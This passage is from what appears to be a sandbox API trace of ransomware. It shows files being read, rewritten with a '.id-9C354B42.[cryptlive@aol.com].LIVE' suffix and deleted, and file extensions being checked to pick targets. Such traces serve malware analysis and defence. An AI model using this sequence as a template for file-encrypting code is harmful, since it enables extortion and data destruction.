dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0158.687] GetLastError () returned 0x0 [0158.687] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0158.856] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0158.857] ReadFile (in: hFile=0x3a0, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0158.857] WriteFile (in: hFile=0x1e0, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0158.857] SetEndOfFile (hFile=0x1e0) returned 1 [0158.857] CloseHandle (hObject=0x1e0) returned 1 [0158.857] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0158.857] SetEndOfFile (hFile=0x3a0) returned 1 [0159.125] CloseHandle (hObject=0x3a0) returned 1 [0159.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.509] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\recl.ico")) returned 1 [0159.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.553] lstrlenW (lpString=".doc") returned 4 [0159.553] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.553] lstrlenW (lpString=".docx") returned 5 [0159.553] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.553] lstrlenW (lpString=".pdf") returned 4 [0159.553] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.553] lstrlenW (lpString=".xls") returned 4 [0159.553] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.553] lstrlenW (lpString=".xlsx") returned 5 [0159.553] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.553] lstrlenW (lpString=".ppt") returned 4 [0159.553] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.553] lstrlenW (lpString=".zip") returned 4 [0159.553] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.553] lstrlenW (lpString=".rar") returned 4 [0159.553] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.553] lstrlenW (lpString=".bz2") returned 4 [0159.553] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.553] lstrlenW (lpString=".7z") returned 3 [0159.553] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.553] lstrlenW (lpString=".dbf") returned 4 [0159.553] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.553] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".1cd") returned 4 [0159.554] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".jpg") returned 4 [0159.554] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".doc") returned 4 [0159.554] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.554] lstrlenW (lpString=".docx") returned 5 [0159.554] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.554] lstrlenW (lpString=".pdf") returned 4 [0159.554] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString=".xls") returned 4 [0159.554] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString=".xlsx") returned 5 [0159.554] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.554] lstrlenW (lpString=".ppt") returned 4 [0159.554] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".zip") returned 4 [0159.554] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString=".rar") returned 4 [0159.554] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.554] lstrlenW (lpString=".bz2") returned 4 [0159.554] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.554] lstrlenW (lpString=".7z") returned 3 [0159.554] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".dbf") returned 4 [0159.554] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.554] lstrlenW (lpString=".1cd") returned 4 [0159.554] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.554] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RECL.ICO") returned 62 [0159.555] lstrlenW (lpString=".jpg") returned 4 [0159.555] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.555] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.555] lstrlenW (lpString="RSSITEML.ICO") returned 12 [0159.555] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.558] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0159.558] CloseHandle (hObject=0x1dc) returned 1 [0159.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 0x20 [0159.558] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.558] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.559] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.559] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.559] GetLastError () returned 0x0 [0159.559] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0159.561] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0x440, lpOverlapped=0x0) returned 1 [0159.562] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.562] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.562] SetEndOfFile (hFile=0x380) returned 1 [0159.562] CloseHandle (hObject=0x380) returned 1 [0159.562] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.562] SetEndOfFile (hFile=0x1dc) returned 1 [0159.565] CloseHandle (hObject=0x1dc) returned 1 [0159.565] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.565] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssiteml.ico")) returned 1 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString=".doc") returned 4 [0159.566] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.566] lstrlenW (lpString=".docx") returned 5 [0159.566] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.566] lstrlenW (lpString=".pdf") returned 4 [0159.566] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.566] lstrlenW (lpString=".xls") returned 4 [0159.566] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.566] lstrlenW (lpString=".xlsx") returned 5 [0159.566] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.566] lstrlenW (lpString=".ppt") returned 4 [0159.566] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString=".zip") returned 4 [0159.566] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.566] lstrlenW (lpString=".rar") returned 4 [0159.566] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.566] lstrlenW (lpString=".bz2") returned 4 [0159.566] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.566] lstrlenW (lpString=".7z") returned 3 [0159.566] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString=".dbf") returned 4 [0159.566] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString=".1cd") returned 4 [0159.566] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.566] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.566] lstrlenW (lpString=".jpg") returned 4 [0159.566] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.567] lstrlenW (lpString=".doc") returned 4 [0159.567] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.567] lstrlenW (lpString=".docx") returned 5 [0159.567] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0159.567] lstrlenW (lpString=".pdf") returned 4 [0159.567] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString=".xls") returned 4 [0159.567] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString=".xlsx") returned 5 [0159.567] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0159.567] lstrlenW (lpString=".ppt") returned 4 [0159.567] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.567] lstrlenW (lpString=".zip") returned 4 [0159.567] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString=".rar") returned 4 [0159.567] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.567] lstrlenW (lpString=".bz2") returned 4 [0159.567] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.567] lstrlenW (lpString=".7z") returned 3 [0159.567] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.567] lstrlenW (lpString=".dbf") returned 4 [0159.567] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.568] lstrlenW (lpString=".1cd") returned 4 [0159.568] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.568] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEML.ICO") returned 66 [0159.568] lstrlenW (lpString=".jpg") returned 4 [0159.568] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.568] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.568] lstrlenW (lpString="RSSITEMS.ICO") returned 12 [0159.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.568] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=2998) returned 1 [0159.568] CloseHandle (hObject=0x1dc) returned 1 [0159.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 0x20 [0159.569] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.569] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.569] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.569] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.570] GetLastError () returned 0x0 [0159.570] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0xbb6, lpOverlapped=0x0) returned 1 [0159.572] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xbc0, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xbc0, lpOverlapped=0x0) returned 1 [0159.573] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x0, lpOverlapped=0x0) returned 1 [0159.573] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesWritten=0x2d8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0159.573] SetEndOfFile (hFile=0x380) returned 1 [0159.573] CloseHandle (hObject=0x380) returned 1 [0159.573] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.573] SetEndOfFile (hFile=0x1dc) returned 1 [0159.575] CloseHandle (hObject=0x1dc) returned 1 [0159.575] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0159.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\rssitems.ico")) returned 1 [0159.576] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".doc") returned 4 [0159.577] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.577] lstrlenW (lpString=".docx") returned 5 [0159.577] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.577] lstrlenW (lpString=".pdf") returned 4 [0159.577] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString=".xls") returned 4 [0159.577] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString=".xlsx") returned 5 [0159.577] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.577] lstrlenW (lpString=".ppt") returned 4 [0159.577] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".zip") returned 4 [0159.577] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString=".rar") returned 4 [0159.577] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString=".bz2") returned 4 [0159.577] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.577] lstrlenW (lpString=".7z") returned 3 [0159.577] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".dbf") returned 4 [0159.577] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".1cd") returned 4 [0159.577] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".jpg") returned 4 [0159.577] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.577] lstrlenW (lpString=".doc") returned 4 [0159.577] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0159.578] lstrlenW (lpString=".docx") returned 5 [0159.578] lstrcmpiW (lpString1=".docx", lpString2="S.ICO") returned -1 [0159.578] lstrlenW (lpString=".pdf") returned 4 [0159.578] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0159.578] lstrlenW (lpString=".xls") returned 4 [0159.578] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0159.578] lstrlenW (lpString=".xlsx") returned 5 [0159.578] lstrcmpiW (lpString1=".xlsx", lpString2="S.ICO") returned -1 [0159.578] lstrlenW (lpString=".ppt") returned 4 [0159.578] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.578] lstrlenW (lpString=".zip") returned 4 [0159.578] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0159.578] lstrlenW (lpString=".rar") returned 4 [0159.578] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0159.578] lstrlenW (lpString=".bz2") returned 4 [0159.578] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0159.578] lstrlenW (lpString=".7z") returned 3 [0159.578] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.578] lstrlenW (lpString=".dbf") returned 4 [0159.578] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.578] lstrlenW (lpString=".1cd") returned 4 [0159.578] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0159.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\RSSITEMS.ICO") returned 66 [0159.578] lstrlenW (lpString=".jpg") returned 4 [0159.578] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0159.578] lstrcmpiW (lpString1=".ICO", lpString2=".LIVE") returned -1 [0159.578] lstrlenW (lpString="SCDCNCLL.ICO") returned 12 [0159.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.579] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2d8ff1c | out: lpFileSize=0x2d8ff1c*=1078) returned 1 [0159.579] CloseHandle (hObject=0x1dc) returned 1 [0159.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico")) returned 0x20 [0159.579] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0159.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0159.580] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.580] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d8fec8 | out: lpNewFilePointer=0x0) returned 1 [0159.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\SCDCNCLL.ICO.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\scdcncll.ico.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0159.580] GetLastError () returned 0x0 [0159.581] ReadFile (in: hFile=0x1dc, lpBuffer=0x3ab0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ab0020*, lpNumberOfBytesRead=0x2d8fed4*=0x436, lpOverlapped=0x0) returned 1 [0159.582] WriteFile (in: hFile=0x380, lpBuffer=0x3ab0020*, nNumberOfBytesToWrite=0x440, 